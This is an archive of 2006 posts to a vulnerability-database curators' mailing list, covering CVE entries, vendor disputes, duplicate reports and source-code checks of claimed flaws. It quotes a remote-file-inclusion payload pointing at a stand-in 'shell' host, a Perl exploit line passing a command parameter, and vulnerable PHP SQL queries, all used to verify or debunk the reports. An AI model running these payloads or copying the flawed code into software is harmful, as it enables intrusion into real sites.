From coley at mitre.org Fri Dec 1 19:18:12 2006 From: coley at mitre.org (Steven M. Christey) Date: Fri, 1 Dec 2006 19:18:12 -0500 (EST) Subject: [VIM] ltwCalendar = PHP Event Calendar, and vendor ACK Message-ID: <200612020018.kB20ICAZ027138@faron.mitre.org> See details below. Looks like many of us wound up with duplicates. Note that the CONFIRM has a couple more security issues that haven't been picked up by VDBs. - Steve ====================================================== Name: CVE-2005-4011 Status: Candidate URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4011 Acknowledged: yes changelog Announced: 20051129 Flaw: sql-inject Reference: BUGTRAQ:20060622 Calendar ( Provided by Codewalkers ) - SQL Injection Reference: URL:http://www.securityfocus.com/archive/1/archive/1/438232/100/0/threaded Reference: BUGTRAQ:20060627 Re: Calendar ( Provided by Codewalkers ) - SQL Injection Reference: URL:http://www.securityfocus.com/archive/1/archive/1/438580/100/0/threaded Reference: MISC:http://pridels.blogspot.com/2005/11/codewalkers-ltwcalendar-4x-sql-inj.html Reference: MISC:http://www.Silitix.com/calendar-cws.php Reference: CONFIRM:http://ltwcalendar.sourceforge.net/changelog.php Reference: BID:15636 Reference: URL:http://www.securityfocus.com/bid/15636 Reference: BID:18593 Reference: URL:http://www.securityfocus.com/bid/18593 Reference: FRSIRT:ADV-2005-2652 Reference: URL:http://www.frsirt.com/english/advisories/2005/2652 Reference: OSVDB:21195 Reference: URL:http://www.osvdb.org/21195 Reference: OSVDB:27539 Reference: URL:http://www.osvdb.org/27539 Reference: SECTRACK:1016364 Reference: URL:http://securitytracker.com/id?1016364 Reference: SECUNIA:17799 Reference: URL:http://secunia.com/advisories/17799 Reference: XF:itwcalendar-calendar-sql-injection(23312) Reference: URL:http://xforce.iss.net/xforce/xfdb/23312 Reference: XF:phpeventcalendar-calendar-sql-injection(27362) Reference: URL:http://xforce.iss.net/xforce/xfdb/27362 SQL injection vulnerability in calendar.php in Codewalkers ltwCalendar (aka PHP Event Calendar) 4.2, 4.1.3, and earlier allows remote attackers to execute arbitrary SQL commands via the id parameter. Analysis: ACCURACY: product's home page (http://ltwcalendar.sourceforge.net/) refers to the product as "ltwCalendar - PHP Event Calendar" and it has been called by both names on occasion. Multiple disclosures have used different names. ACKNOWLEDGEMENT: vendor changelog for 4.2.1 says "BUG FIX: Fixed a known SQL injection vulnerability relating to the 'id' tag." From jericho at attrition.org Fri Dec 1 20:54:04 2006 From: jericho at attrition.org (security curmudgeon) Date: Fri, 1 Dec 2006 20:54:04 -0500 (EST) Subject: [VIM] CVE-2006-1693 Deja Vu Message-ID: http://cve.mitre.org/cgi-bin/cvename.cgi?name=2006-1693 Unspecified vulnerability in GlobalSCAPE Secure FTP Server before 3.1.4 Build 01.10.2006 allows attackers to cause a denial of service (application crash) via a "custom command" with a long argument. Which comes from: http://www.globalscape.com/gsftps/history.asp Changes in 3.1.4 Build 01.10.2006 - Corrected issue where execution of a custom command with a lengthy parameter line passed to it causes server to crash. -- Checking the same changelog, the same vuln again: Changes in 3.1.5 Build 04.12.2006.2 - Corrected issue where execution of a custom command with a lengthy parameter line passed to it causes server to crash. From coley at mitre.org Fri Dec 1 21:20:45 2006 From: coley at mitre.org (Steven M. Christey) Date: Fri, 1 Dec 2006 21:20:45 -0500 (EST) Subject: [VIM] Vendor ACK for CVE-2006-5121 (PostNuke Downloads) Message-ID: <200612020220.kB22Kjxj029321@faron.mitre.org> FYI: http://community.postnuke.com/index.php?name=News&file=article&sid=2783 Specifically mentions CVE-2006-5121. - Steve From coley at mitre.org Fri Dec 1 22:41:05 2006 From: coley at mitre.org (Steven M. Christey) Date: Fri, 1 Dec 2006 22:41:05 -0500 (EST) Subject: [VIM] Old PHP-Nuke/PostNuke SQL injection issues - clarification Message-ID: <200612020341.kB23f5ua000722@faron.mitre.org> CrAzY CrAcKeR reported a couple issues in June - one in PHP-Nuke and one in PostNuke - without naming either product, so these might have been missed. === PHP-Nuke === CVE-2006-6233 Ref: Module's Name Content<<--V1.0 SQL injection http://www.securityfocus.com/archive/1/archive/1/437835/100/200/threaded Web searches on the "list_pages_categories" eventually led to the Content module in PHP-Nuke. Relevant code, from an older version 6.0, is: html/modules/Content/index.php: function showpage($pid, $page=0) { ... $result = sql_query("SELECT * from ".$prefix."_pages where pid='$pid'", $dbi); ... sql_query("update ".$prefix."_pages set counter=counter+1 where pid='$pid'", $dbi); also: function list_pages_categories($cid) { ... $result = sql_query("SELECT pid, title, subtitle, clanguage from ".$prefix."_pages WHERE active='1' AND cid='$cid' order by date", $dbi); Note that version 7.9 does not have the problem: function showpage($pid, $page=0) { ... $pid = intval($pid); and: function list_pages_categories($cid) { ... $cid = intval($cid); I didn't check other versions. === PostNuke === CVE-2006-6233 BUGTRAQ:20060617 Module's Name Downloads <<--V 7 SQL injection URL:http://www.securityfocus.com/archive/1/archive/1/437832/100/200/threaded I did not access any old versions of PostNuke, but the relevant function (viewdownloaddetails) is in dl-downloaddetails.php in PostNuke 0.764, although the $lid variable is checked with is_numeric(). So, I don't know what versions (if any) are affected, but have an inquiry into the developer. - Steve From jericho at attrition.org Sat Dec 2 18:47:24 2006 From: jericho at attrition.org (security curmudgeon) Date: Sat, 2 Dec 2006 18:47:24 -0500 (EST) Subject: [VIM] 30110: mp3SDS Core/core.inc.php fullpath Variable Remote File Inclusion (fwd) Message-ID: ---------- Forwarded message ---------- From: Michael David To: moderators at osvdb.org Date: Sat, 2 Dec 2006 17:27:24 -0600 Reply-To: moderators at osvdb.org Subject: [OSVDB Mods] [Change Request] 30110: mp3SDS Core/core.inc.php fullpath Variable Remote File Inclusion Greetings. I am a developer on the mp3SDS project. I'm writing to indicate that version 3.1 of mp3SDS (releasing today) includes this bugfix. Additionally, I've attached to this email a unified patch which corrects the issue for 3.0, as well as a by-hand quick fix. I do wish someone would've emailed me earlier. The developer address listed in the README file was never notified until today of this issue, and then by a friend and not anyone in the security industry. Thanks, Michael David -- Michael A. David -- Student, Programmer, Geek, Citizen "We are not now that strength which in old days moved earth and heaven; that which we are, we are; One equal temper of heroic hearts, made weak by time and fate, but strong in will to strive, to seek, to find, and not to yield." --Alfred, Lord Tennyson. -------------- next part -------------- --- Core/core.inc.php 19 Jul 2006 05:24:31 -0000 1.15 +++ Core/core.inc.php 2 Dec 2006 23:18:43 -0000 @@ -1,4 +1,14 @@ $value) $$key = $value; - // Copy certain _SERVER superglobals to the global namespace. - if($HTTP_HOST == '') $HTTP_HOST=$_SERVER['HTTP_HOST']; - if($PHP_SELF == '') $PHP_SELF=$_SERVER['PHP_SELF']; - // If the user hasn't been here yet, set their current path to the mp3 folder. if(!$base_dir) $base_dir="$location"; -------------- next part -------------- Quick Fix for mp3SDS 3.0 Core/core.inc.php File Inclusion exploit: (place the lines between the tag into the top of core.inc.php): ---- ----- if($HTTP_HOST == '') $HTTP_HOST=$_SERVER['HTTP_HOST']; if($PHP_SELF == '') $PHP_SELF=$_SERVER['PHP_SELF']; if(stripos($PHP_SELF,'core.inc.php')!==false) { die('Denied'); } ---- ----- Other options are to apply the official patch, or to upgrade mp3SDS to version 3.1. From coley at mitre.org Mon Dec 4 00:15:09 2006 From: coley at mitre.org (Steven M. Christey) Date: Mon, 4 Dec 2006 00:15:09 -0500 (EST) Subject: [VIM] snif RFI curiosity Message-ID: <200612040515.kB45F9Tm024074@faron.mitre.org> Researcher: S.W.A.T. Ref: http://www.milw0rm.com/exploits/2868 Claimed POC: [path]/index.php?externalConfig=http://shell? A CVE analyst noted that in the referenced URL, we have: $externalConfig = ""; on line 428, and: if ($externalConfig!="") { include($externalConfig); } on line 1227. While $_GET is cleansed in a way that feels funny on line 1215, there is no apparent dynamic variable evaluation, include/require, or eval in between the two lines. So this report might not be valid, but with such a gap in the code, I'm not sure. - Steve From theall at tenablesecurity.com Mon Dec 4 05:41:49 2006 From: theall at tenablesecurity.com (George A. Theall) Date: Mon, 04 Dec 2006 05:41:49 -0500 Subject: [VIM] snif RFI curiosity In-Reply-To: <200612040515.kB45F9Tm024074@faron.mitre.org> References: <200612040515.kB45F9Tm024074@faron.mitre.org> Message-ID: <4573FB6D.10906@tenablesecurity.com> Steven M. Christey wrote: > Ref: http://www.milw0rm.com/exploits/2868 ... > While $_GET is cleansed in a way that feels funny on line 1215, there > is no apparent dynamic variable evaluation, include/require, or eval > in between the two lines. I don't think it's valid. The code you refer to only cleans the $_GET array and $externalConfig is never set other than in the one spot where it's hardcoded to "" as you noted. George -- theall at tenablesecurity.com From str0ke at milw0rm.com Mon Dec 4 09:21:09 2006 From: str0ke at milw0rm.com (str0ke) Date: Mon, 4 Dec 2006 08:21:09 -0600 Subject: [VIM] snif RFI curiosity In-Reply-To: <4573FB6D.10906@tenablesecurity.com> References: <200612040515.kB45F9Tm024074@faron.mitre.org> <4573FB6D.10906@tenablesecurity.com> Message-ID: <814b9d50612040621r2e5229c4o2650fbdabc2260d0@mail.gmail.com> Confirmed fake. Removing it now. /str0ke On 12/4/06, George A. Theall wrote: > Steven M. Christey wrote: > > > Ref: http://www.milw0rm.com/exploits/2868 > ... > > While $_GET is cleansed in a way that feels funny on line 1215, there > > is no apparent dynamic variable evaluation, include/require, or eval > > in between the two lines. > > I don't think it's valid. The code you refer to only cleans the $_GET > array and $externalConfig is never set other than in the one spot where > it's hardcoded to "" as you noted. > > > George > -- > theall at tenablesecurity.com > From coley at mitre.org Wed Dec 6 16:08:03 2006 From: coley at mitre.org (Steven M. Christey) Date: Wed, 6 Dec 2006 16:08:03 -0500 (EST) Subject: [VIM] Vendor dispute: infinicart (CVE-2006-5957) Message-ID: <200612062108.kB6L83Nn010087@faron.mitre.org> FYI. The vendor claims that the issue is only in the demo version. ================================================== Date: Mon, 04 Dec 2006 07:40:41 -0800 From: ECOMMERCEMAX SOLUTIONS To: cve at mitre.org Subject: CVE-2006-5957 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5957 This is an inaccurate report for one of our products. The vulnerabilities mentioned were never present in our official released products but only in the unofficial demo version. However we do appreciate the information. We have update our demo version and made sure all those vulnerabilities are fixed. Please remove the corresponding page from your site at the soonest possible time as it does not reflect the real status of our product. Sincerely, Ecommercemax Solutions From coley at mitre.org Wed Dec 6 17:16:36 2006 From: coley at mitre.org (Steven M. Christey) Date: Wed, 6 Dec 2006 17:16:36 -0500 (EST) Subject: [VIM] Source verify of mg.applanix RFI Message-ID: <200612062216.kB6MGa3p002630@faron.mitre.org> Researcher: the_Edit0r Disclosure: BUGTRAQ:20061120 mg.applanix <= 1.3.1 Remote File Include Exploit URL: http://www.securityfocus.com/archive/1/archive/1/452138/100/200/threaded Product URL: http://freshmeat.net/projects/applanix/ The first line of dsp_bookings.php is: require_once( $apx_root_path."act_structs.php" ); - Steve From coley at mitre.org Wed Dec 6 17:23:26 2006 From: coley at mitre.org (Steven M. Christey) Date: Wed, 6 Dec 2006 17:23:26 -0500 (EST) Subject: [VIM] Source verify of mg.applanix RFI Message-ID: <200612062223.kB6MNQeC002704@faron.mitre.org> whoops, looks like that Bugtraq post was a couple days after a milw0rm post: http://www.milw0rm.com/exploits/2794 which included two more vectors. 1) act/act_check_access.php : verified require( $apx_root_path.'db/access_rights.php' ); is the first statement in the program. 2) dsp/dsp_form_booking_ctl.php : verified require( $apx_root_path.'qry/qry_form_customer.php' ); is the second statement in the program, coming after an unrelated assignment. And, well, you can download the code to find a bunch more vectors, too. - Steve From coley at mitre.org Wed Dec 6 19:10:44 2006 From: coley at mitre.org (Steven M. Christey) Date: Wed, 6 Dec 2006 19:10:44 -0500 (EST) Subject: [VIM] Severity dispute (Apple DMG) and information quality Message-ID: <200612070010.kB70AiIY003796@faron.mitre.org> CVE-2006-6061 http://alastairs-place.net/2006/11/dmg-vulnerability/#more http://www.matasano.com/log/633/alastair-houghton-debunks-lmh-mokb-finding/ The post has some of the typical commentary on VDB's not verifying every claim. Personally, I think we collectively need to do a much better job of this. But Houghton also includes the ironic note: It's taken me the best part of three days' work to figure out what is really going on here, which gives some idea of how difficult it is (particularly without the source code for the disk image driver) to trace everything back through and come up with a proper, definitive explanation of the problem. yet somehow he expects us to do this kind of diligence for every one of the ~150 vulnerabilities that we process per week. 150 x 3 = 450 staff days of effort per week? I don't think so. (OK, so some issues only take an hour, but still...) There has to be a middle ground somewhere. - Steve From coley at mitre.org Wed Dec 6 21:24:30 2006 From: coley at mitre.org (Steven M. Christey) Date: Wed, 6 Dec 2006 21:24:30 -0500 (EST) Subject: [VIM] awrate 1.0 search.php RFI - source verify, small wrinkle Message-ID: <200612070224.kB72OUSj005286@faron.mitre.org> Researcher: DeltahackingTEAM Code :Dr.Trojan&Dr.Pantagon Ref: http://www.milw0rm.com/exploits/2884 #Vulnerable Code: include_once("$toroot../commonphp/table.php.inc");; This is actually incorrect or, more precisely, the exploit happens BEFORE this code is reached, so this vector is moot. search.php starts with: include_once("login.php.inc"); include_once("$toroot../commonphp/table.php.inc"); login.php.inc starts with: include_once($toroot."connection.php.inc"); include_once($toroot."password.php.inc"); include_once($toroot."database.php.inc"); So, the "toroot" parameter manipulation is activated within login.php.inc, before the $toroot in search.php is even accessed. - Steve From jkouns at opensecurityfoundation.org Wed Dec 6 22:41:38 2006 From: jkouns at opensecurityfoundation.org (jkouns) Date: Wed, 06 Dec 2006 22:41:38 -0500 Subject: [VIM] [Fwd: [OSVDB Mods] [Change Request] 30115: Faq Administrator faq_reply.php email Variable Remote File Inclusion] Message-ID: <45778D72.4030706@opensecurityfoundation.org> -------- Original Message -------- Subject: [OSVDB Mods] [Change Request] 30115: Faq Administrator faq_reply.php email Variable Remote File Inclusion Date: Wed, 06 Dec 2006 22:27:09 -0500 From: Service Department Reply-To: moderators at osvdb.org Organization: Campney Business Services To: moderators at osvdb.org Your website and listing for Campney Business Services : Faq Administrator 2.1 has recently been brought to our attention. We'd like to inform you that a patched version (3.0) has been available since 10/30/2006 and referenced on http://www.attrition.org/pipermail/vim/2006-October/001100.html Secondly we'd like to state that while we applaud what you appear to be attempting to accomplish, we are not pleased that vulnerability samples providing everything needed to take full advantage of a vulnerable system with out first notifying the vendor and allowing time to fix the problem. Best Regards KenC Campney Business Services -- --------------------------------------------------------------------------- Campney Business Services http://www.campney.net Phone: (585)663-5616 [9am-5pm M-F EST] Fax: (585)581-2725 Email: support at campney.net service at campney.net Want to save up to $10.99 per month on your internet dialup?? http://www.lucinet.net Signup Today! --------------------------------------------------------------------------- From coley at mitre.org Thu Dec 7 11:07:57 2006 From: coley at mitre.org (Steven M. Christey) Date: Thu, 7 Dec 2006 11:07:57 -0500 (EST) Subject: [VIM] Insanity checking in JAB Guest Book? Message-ID: <200612071607.kB7G7vBD013779@faron.mitre.org> [sent to Bugtraq] Ref: XSS in JAB Guest Book http://www.securityfocus.com/archive/1/archive/1/453482/100/0/threaded Researcher claims $topic is checked, but the checking function seems invalid. ----------- >function invalideregtest($input) > >script just check $topic by invalideregtest function I think this function just *tries* to check inputs, but doesn't succeed. Did you do any live testing using $topic ? We should expect to see more erroneous cleansing/checking functions as programmers attempt to implement security in their products. > $checkcount = 0; This matters later on. > //$exinput = str_split($input); > $countname = count($exinput); Since the assignment of $exinput is commented out, the variable is undefined. So, $countname is set to 0. (This was probably commented out because the function doesn't exist in PHP 4.) > for($i=0; $i<$countname; $i++) > { Since $countname is 0, this loop is not entered. > if($checkcount != 0) > { > $input = "no"; > } > else > { > $input = "yes"; > } Since $checkcount is 0, the function always returns "yes", meaning "the input looks valid to me." === yes ABCDE GHIF AKLSM === yes ABCDEGHIFAKLSM === yes There might be other logic errors in the function, but this is the most obvious one. - Steve From coley at linus.mitre.org Thu Dec 7 16:29:46 2006 From: coley at linus.mitre.org (Steven M. Christey) Date: Thu, 7 Dec 2006 16:29:46 -0500 (EST) Subject: [VIM] [Fwd: [OSVDB Mods] [Change Request] 30115: Faq Administrator faq_reply.php email Variable Remote File Inclusion] In-Reply-To: <45778D72.4030706@opensecurityfoundation.org> References: <45778D72.4030706@opensecurityfoundation.org> Message-ID: On Wed, 6 Dec 2006, jkouns wrote: > Secondly we'd like to state that while we applaud what you appear to be > attempting to accomplish, we are not pleased that vulnerability samples > providing everything needed to take full advantage of a vulnerable > system with out first notifying the vendor and allowing time to fix the > problem. Who volunteers to track the next 5 complaints and ping me if I haven't written a FAQ by then? No smilie... - Steve From coley at mitre.org Thu Dec 7 16:51:38 2006 From: coley at mitre.org (Steven M. Christey) Date: Thu, 7 Dec 2006 16:51:38 -0500 (EST) Subject: [VIM] Vendor dispute - CVE-2006-5840 (abarcar Realty Portal) Message-ID: <200612072151.kB7LpcF0008364@faron.mitre.org> Researchers: Laurent Gaffi? and Benjamin Moss? The vendor disputed this issue to CVE via e-mail, stating that: - version 5.1.5 had been discontinued in 2003 - 6.xx was discontinued in early 2006 - the current version only does static pages without parameters - "the parameter 'slid' and the file 'slistl.php' never existed in any abarcar Realty Portal version" - questions to the original researchers were not answered. There was no statement regarding whether the discontinued versions were subject to the newsdetails.php/neid vector. I don't have any additional analysis. - Steve From heinbockel at mitre.org Fri Dec 8 11:29:11 2006 From: heinbockel at mitre.org (Heinbockel, Bill) Date: Fri, 8 Dec 2006 11:29:11 -0500 Subject: [VIM] CVE dispute - phpAdsNew PHP file inclusion Message-ID: <224FBC6B814DBD4E9B9E293BE33A10DC01691B10@IMCSRV5.MITRE.ORG> Researcher - CrackersChild (* he's back!! *) BUGTRAQ:20061207 phpAdsNew-2.0.4-pr2 Remote File Inclusion Exploit http://www.securityfocus.com/archive/1/archive/1/453773/100/0/threaded Hidden in the supplied exploit script: $req = HTTP::Request->new(GET =>$Path.'admin/ib-maintenance.inc.php?phpAds_path='.$Pathtocmd.'?&'.$cm d v.'='.$cmd)or die "\nCould Not connect\n"; In the referenced product download, phpAdsNew-2.0.4-pr2 there is no file named "ib-maintenance.inc.php", however there is a file "admin/lib-maintenance.inc.php". Okay, a typo... However, the first lines of admin/lib-maintenance.inc.php reads: > @include (phpAds_path.'/language/english/maintenance.lang.php'); > if ($phpAds_config['language'] != 'english' && file_exists(phpAds_path.'/language/'.$phpAds_config['language'].'/maint enance.lang.php')) > @include (phpAds_path.'/language/'.$phpAds_config['language'].'/maintenance.lang .php'); So, phpAds_path is a constant and can't be set via a GET parameter. William Heinbockel Infosec Engineer The MITRE Corporation 202 Burlington Rd. MS S145 Bedford, MA 01730 heinbockel at mitre.org 781-271-2615 From jericho at attrition.org Sat Dec 9 06:44:53 2006 From: jericho at attrition.org (security curmudgeon) Date: Sat, 9 Dec 2006 06:44:53 -0500 (EST) Subject: [VIM] Novell not playing nice. Message-ID: http://osvdb.org/vendor_dict.php?section=vendor&id=1500&c=N Short Name: Novell Previous Names: SuSe Linux URL: http://www.novell.com/ Security URL: http://support.novell.com/security-alerts/ Security Email: secure at novell.com ---------- Forwarded message ---------- From: Mailer-Daemon at sinclair.provo.novell.com To: jericho at attrition.org Date: Sat, 09 Dec 2006 04:43:08 -0700 Subject: Message status - undeliverable The message that you sent was undeliverable to the following: Secure (User account is expired) From coley at mitre.org Mon Dec 11 18:27:29 2006 From: coley at mitre.org (Steven M. Christey) Date: Mon, 11 Dec 2006 18:27:29 -0500 (EST) Subject: [VIM] GraceNote CDDBControl (CVE-2006-3134) = CDDBAOLControl (CVE-2006-6442) Message-ID: <200612112327.kBBNRTpF029173@faron.mitre.org> 3com's Zero Day Initiative has notified CVE that Secunia's recent announcement of a CDDBControlAOL.CDDBAOLControl overflow (CVE-2006-6442, SECUNIA:23043) is the same issue as originally reported by ZDI for Gracenote CDDBControl ActiveX Control (CVE-2006-3134). Gracenote is the original vendor; this control is used in multiple products from different vendors. Regarding the discrepancy in minor details - "option string" in CVE-2006-3134 vs. "client ID" parameter in CVE-2006-6442 - ZDI says that they are the same. CVE is treating these as duplicates. Since CVE-2006-3134 is more authoritative (with a vendor CONFIRM) and more established (being around since June), we will be using CVE-2006-3134 and marking CVE-2006-6442 as a duplicate. Current CVE descriptions and references are included below for historical purposes. - Steve ====================================================== Name: CVE-2006-3134 Status: Candidate URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3134 Reference: FULLDISC:20060627 ZDI-06-019: GraceNote CDDBControl ActiveX Buffer Overflow Vulnerability Reference: URL:http://lists.grok.org.uk/pipermail/full-disclosure/2006-June/047420.html Reference: MISC:http://www.zerodayinitiative.com/advisories/ZDI-06-019.html Reference: MISC:http://europe.nokia.com/nokia/0,,93034,00.html Reference: CONFIRM:http://www.gracenote.com/sec062706/SonySecurityNotification.html Reference: CERT-VN:VU#701121 Reference: URL:http://www.kb.cert.org/vuls/id/701121 Reference: BID:18678 Reference: URL:http://www.securityfocus.com/bid/18678 Reference: FRSIRT:ADV-2006-2562 Reference: URL:http://www.frsirt.com/english/advisories/2006/2562 Reference: FRSIRT:ADV-2006-2563 Reference: URL:http://www.frsirt.com/english/advisories/2006/2563 Reference: OSVDB:26874 Reference: URL:http://www.osvdb.org/26874 Reference: SECTRACK:1016389 Reference: URL:http://securitytracker.com/id?1016389 Reference: SECUNIA:20861 Reference: URL:http://secunia.com/advisories/20861 Reference: SECUNIA:20862 Reference: URL:http://secunia.com/advisories/20862 Reference: XF:gracenote-cddb-activex-bo(27416) Reference: URL:http://xforce.iss.net/xforce/xfdb/27416 Buffer overflow in GraceNote CDDBControl ActiveX Control, as used by multiple products that use Gracenote CDDB, allows remote attackers to execute arbitrary code via a long option string. ====================================================== Name: CVE-2006-6442 Status: Candidate URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6442 Reference: MISC:http://secunia.com/secunia_research/2006-69/advisory/ Reference: BID:21488 Reference: URL:http://www.securityfocus.com/bid/21488 Reference: FRSIRT:ADV-2006-4904 Reference: URL:http://www.frsirt.com/english/advisories/2006/4904 Reference: SECUNIA:23043 Reference: URL:http://secunia.com/advisories/23043 Stack-based buffer overflow in the SetClientInfo function in the CDDBControlAOL.CDDBAOLControl ActiveX control (cddbcontrol.dll), as used in America Online (AOL) 7.0 4114.563, 8.0 4129.230, and 9.0 Security Edition 4156.910, and possibly other products, allows remote attackers to execute arbitrary code via a long ClientId argument. From coley at mitre.org Tue Dec 12 14:55:05 2006 From: coley at mitre.org (Steven M. Christey) Date: Tue, 12 Dec 2006 14:55:05 -0500 (EST) Subject: [VIM] Sophos on buffer overflows Message-ID: <200612121955.kBCJt5LL013629@faron.mitre.org> Technical information Buffer overflows are caused by program bugs. They are exploited by sending more data to a program than it expects. If the program doesn't check for this, it will read in more data than it has reserved space for. The extra bytes it accepts may overwrite parts of memory which the operating system is using for other purposes. As an analogy, imagine that you are asked to check through 10 pages of a contract, and then to approve the contract by signing each page. Now imagine that you check carefully through the first 10 pages, but then blindly sign the bottom of all the pages you were given. If unscrupulous lawyers had prepared 12 pages instead of the 10 they asked you to check, you would have agreed to more than you intended. From coley at mitre.org Wed Dec 13 16:18:08 2006 From: coley at mitre.org (Steven M. Christey) Date: Wed, 13 Dec 2006 16:18:08 -0500 (EST) Subject: [VIM] Vendor ACK for ask_rave RFI (CVE-2006-5621) Message-ID: <200612132118.kBDLI8QX013269@faron.mitre.org> The developer notified CVE via e-mail that the issue has been addressed. Relevant link appears to be: http://rave.jk-digital.com/blog/2006/12/08/ask_rave-09b-released/ - Steve From str0ke at milw0rm.com Thu Dec 14 09:42:56 2006 From: str0ke at milw0rm.com (str0ke) Date: Thu, 14 Dec 2006 08:42:56 -0600 Subject: [VIM] mxBB Module mx_profilecp 0.91 Remote File Include Vulnerability Message-ID: <814b9d50612140642w1fa75f09h31ff22c462df2b44@mail.gmail.com> Removed exploit ID 2918. mxBB Module mx_profilecp 0.91 Remote File Include Vulnerability http://www.milw0rm.com/exploits/2918 Its already listed by another author here. mxBB Module Profile CP 0.91c Remote File Include Vulnerability http://www.milw0rm.com/exploits/2904 Best Regards, /str0ke From heinbockel at mitre.org Thu Dec 14 09:44:45 2006 From: heinbockel at mitre.org (Heinbockel, Bill) Date: Thu, 14 Dec 2006 09:44:45 -0500 Subject: [VIM] Esser quits the PHP Security team Message-ID: <224FBC6B814DBD4E9B9E293BE33A10DC016921ED@IMCSRV5.MITRE.ORG> I don't know if any of you have seen the news, but one of the best security researchers, Stefan Esser, has quit the PHP Security Team. While he'll still perform research and produce advisories, he will no longer coordinate with the PHP dev team. So this will mean that the PHP Security Team will be playing catch-up, as Esser's advisories will most likely not be coordinated with the release of a patched PHP version. His resignation apparently has at least something to do with the disclosure practices and timeline, where the vendor can stall security advisories by delaying product patch. More info here: http://www.heise-security.co.uk/news/82500 http://blog.php-security.org/archives/61-Retired-from-securityphp.net.h tml William Heinbockel Infosec Engineer The MITRE Corporation 202 Burlington Rd. MS S145 Bedford, MA 01730 heinbockel at mitre.org 781-271-2615 From amanion at cert.org Thu Dec 14 10:37:53 2006 From: amanion at cert.org (Art Manion) Date: Thu, 14 Dec 2006 10:37:53 -0500 Subject: [VIM] GraceNote CDDBControl (CVE-2006-3134) = CDDBAOLControl (CVE-2006-6442) In-Reply-To: <200612112327.kBBNRTpF029173@faron.mitre.org> References: <200612112327.kBBNRTpF029173@faron.mitre.org> Message-ID: --On December 11, 2006 18:27:29 -0500 "Steven M. Christey" wrote: > 3com's Zero Day Initiative has notified CVE that Secunia's recent > announcement of a CDDBControlAOL.CDDBAOLControl overflow > (CVE-2006-6442, SECUNIA:23043) is the same issue as originally > reported by ZDI for Gracenote CDDBControl ActiveX Control > (CVE-2006-3134). Gracenote is the original vendor; this control is > used in multiple products from different vendors. Regarding the > discrepancy in minor details - "option string" in CVE-2006-3134 > vs. "client ID" parameter in CVE-2006-6442 - ZDI says that they are > the same. > > CVE is treating these as duplicates. Since CVE-2006-3134 is more > authoritative (with a vendor CONFIRM) and more established (being > around since June), we will be using CVE-2006-3134 and marking > CVE-2006-6442 as a duplicate. Current CVE descriptions and references > are included below for historical purposes. FWIW, one of our analysts is very technically close to the issue and confirms they are the same thing. Multiple vendors use/ship the GraceNote control, including AOL. We're pointing to CVE-2006-3134. - Art From heinbockel at mitre.org Thu Dec 14 11:08:40 2006 From: heinbockel at mitre.org (Heinbockel, Bill) Date: Thu, 14 Dec 2006 11:08:40 -0500 Subject: [VIM] mxBB Module mx_profilecp 0.91 Remote File IncludeVulnerability In-Reply-To: <814b9d50612140642w1fa75f09h31ff22c462df2b44@mail.gmail.com> Message-ID: <224FBC6B814DBD4E9B9E293BE33A10DC0169221D@IMCSRV5.MITRE.ORG> str0ke, Is there any way you could add a message or something stating that the exploit was removed (and possibly a message as to why)? Right now if you visit http://www.milw0rm.com/exploits/2918 you see a blank page and the visitor is expected to guess why - is it due to a backend malfunction? input error? removal? William Heinbockel Infosec Engineer The MITRE Corporation 202 Burlington Rd. MS S145 Bedford, MA 01730 heinbockel at mitre.org 781-271-2615 >-----Original Message----- >From: vim-bounces at attrition.org >[mailto:vim-bounces at attrition.org] On Behalf Of str0ke >Sent: Donnerstag, 14. Dezember 2006 09:43 >To: Vulnerability Information Managers >Subject: [VIM] mxBB Module mx_profilecp 0.91 Remote File >IncludeVulnerability > >Removed exploit ID 2918. > >mxBB Module mx_profilecp 0.91 Remote File Include Vulnerability >http://www.milw0rm.com/exploits/2918 > >Its already listed by another author here. > >mxBB Module Profile CP 0.91c Remote File Include Vulnerability >http://www.milw0rm.com/exploits/2904 > >Best Regards, > >/str0ke > From str0ke at milw0rm.com Thu Dec 14 11:11:33 2006 From: str0ke at milw0rm.com (str0ke) Date: Thu, 14 Dec 2006 10:11:33 -0600 Subject: [VIM] mxBB Module mx_profilecp 0.91 Remote File IncludeVulnerability In-Reply-To: <224FBC6B814DBD4E9B9E293BE33A10DC0169221D@IMCSRV5.MITRE.ORG> References: <814b9d50612140642w1fa75f09h31ff22c462df2b44@mail.gmail.com> <224FBC6B814DBD4E9B9E293BE33A10DC0169221D@IMCSRV5.MITRE.ORG> Message-ID: <814b9d50612140811hd76d5e5u8706122235a0edab@mail.gmail.com> Bill, Appreciate the idea. Will do for future removals. /str0ke On 12/14/06, Heinbockel, Bill wrote: > str0ke, > > Is there any way you could add a message or something > stating that the exploit was removed (and possibly a > message as to why)? > > Right now if you visit http://www.milw0rm.com/exploits/2918 > you see a blank page and the visitor is expected to guess > why - is it due to a backend malfunction? input error? removal? > > > William Heinbockel > Infosec Engineer > The MITRE Corporation > 202 Burlington Rd. MS S145 > Bedford, MA 01730 > heinbockel at mitre.org > 781-271-2615 > > >-----Original Message----- > >From: vim-bounces at attrition.org > >[mailto:vim-bounces at attrition.org] On Behalf Of str0ke > >Sent: Donnerstag, 14. Dezember 2006 09:43 > >To: Vulnerability Information Managers > >Subject: [VIM] mxBB Module mx_profilecp 0.91 Remote File > >IncludeVulnerability > > > >Removed exploit ID 2918. > > > >mxBB Module mx_profilecp 0.91 Remote File Include Vulnerability > >http://www.milw0rm.com/exploits/2918 > > > >Its already listed by another author here. > > > >mxBB Module Profile CP 0.91c Remote File Include Vulnerability > >http://www.milw0rm.com/exploits/2904 > > > >Best Regards, > > > >/str0ke > > > From coley at mitre.org Thu Dec 14 16:37:49 2006 From: coley at mitre.org (Steven M. Christey) Date: Thu, 14 Dec 2006 16:37:49 -0500 (EST) Subject: [VIM] FileZilla DoS issues - questions, answers, more questions Message-ID: <200612142137.kBELbnbe009912@faron.mitre.org> Sources: 1) rgod http://retrogod.altervista.org/filezilla_0921_dos.html DoS apparently using STOR with ".." sequences in the argument. 2) shinnai http://www.milw0rm.com/exploits/2914 DoS apparently using LIST/NLST with just "A*" Various DBs are linking these to: http://sourceforge.net/project/shownotes.php?release_id=470364&group_id=21558 and claiming them as null derefs. The FileZilla 0.9.22 changelog: "Release Name: 0.9.22 Notes: Update hightly recommended due to fixed denial of service vulnerability. Changes: Fixed bugs: - Fix denial of service vulnerability due to nullpointer dereference. 